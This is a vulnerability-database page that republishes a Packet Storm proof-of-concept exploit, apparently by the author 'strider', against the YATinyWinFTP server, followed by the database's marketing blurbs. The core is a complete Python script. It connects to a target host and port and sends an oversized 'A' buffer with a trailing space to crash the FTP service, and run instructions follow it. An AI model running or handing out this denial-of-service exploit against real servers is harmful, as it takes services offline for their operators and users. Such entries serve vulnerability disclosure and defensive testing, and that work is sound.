Lucene search
K

YATinyWinFTP Denial Of Service

🗓️ 29 Nov 2020 00:00:00Reported by striderType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 372 Views

YATinyWinFTP Denial Of Service exploit crashing FTP service by sending a 256-byte comman

Code
`# Exploit Title: YATinyWinFTP - Denial of Service (PoC)  
# Google Dork: None  
# Date: 20.08.2020  
# Exploit Author: strider  
# Vendor Homepage: https://github.com/ik80/YATinyWinFTP  
# Software Link: https://github.com/ik80/YATinyWinFTP  
# Tested on: Windows 10  
  
------------------------------[Description]---------------------------------  
  
This Eyxploit connects to the FTP-Service and sends a command which has a size of 256bytes with an trailing space at the end.  
The result it crashes  
  
-----------------------------[Exploit]---------------------------------------------  
  
#!/usr/bin/env python3  
# -*- coding:utf-8 -*-  
  
import socket, sys  
  
target = (sys.argv[1], int(sys.argv[2]))  
buffer = b'A' * 272 + b'\x20'  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect(target)  
print(s.recv(1024))  
s.send(buffer)  
s.close()  
  
-----------------------------[how to run]-----------------------------  
  
C:\> TinyWinFTP.exe servepath port  
  
~$ python3 exploit.py targetip port  
  
Boom!  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Nov 2020 00:00Current
7.4High risk
Vulners AI Score7.4
372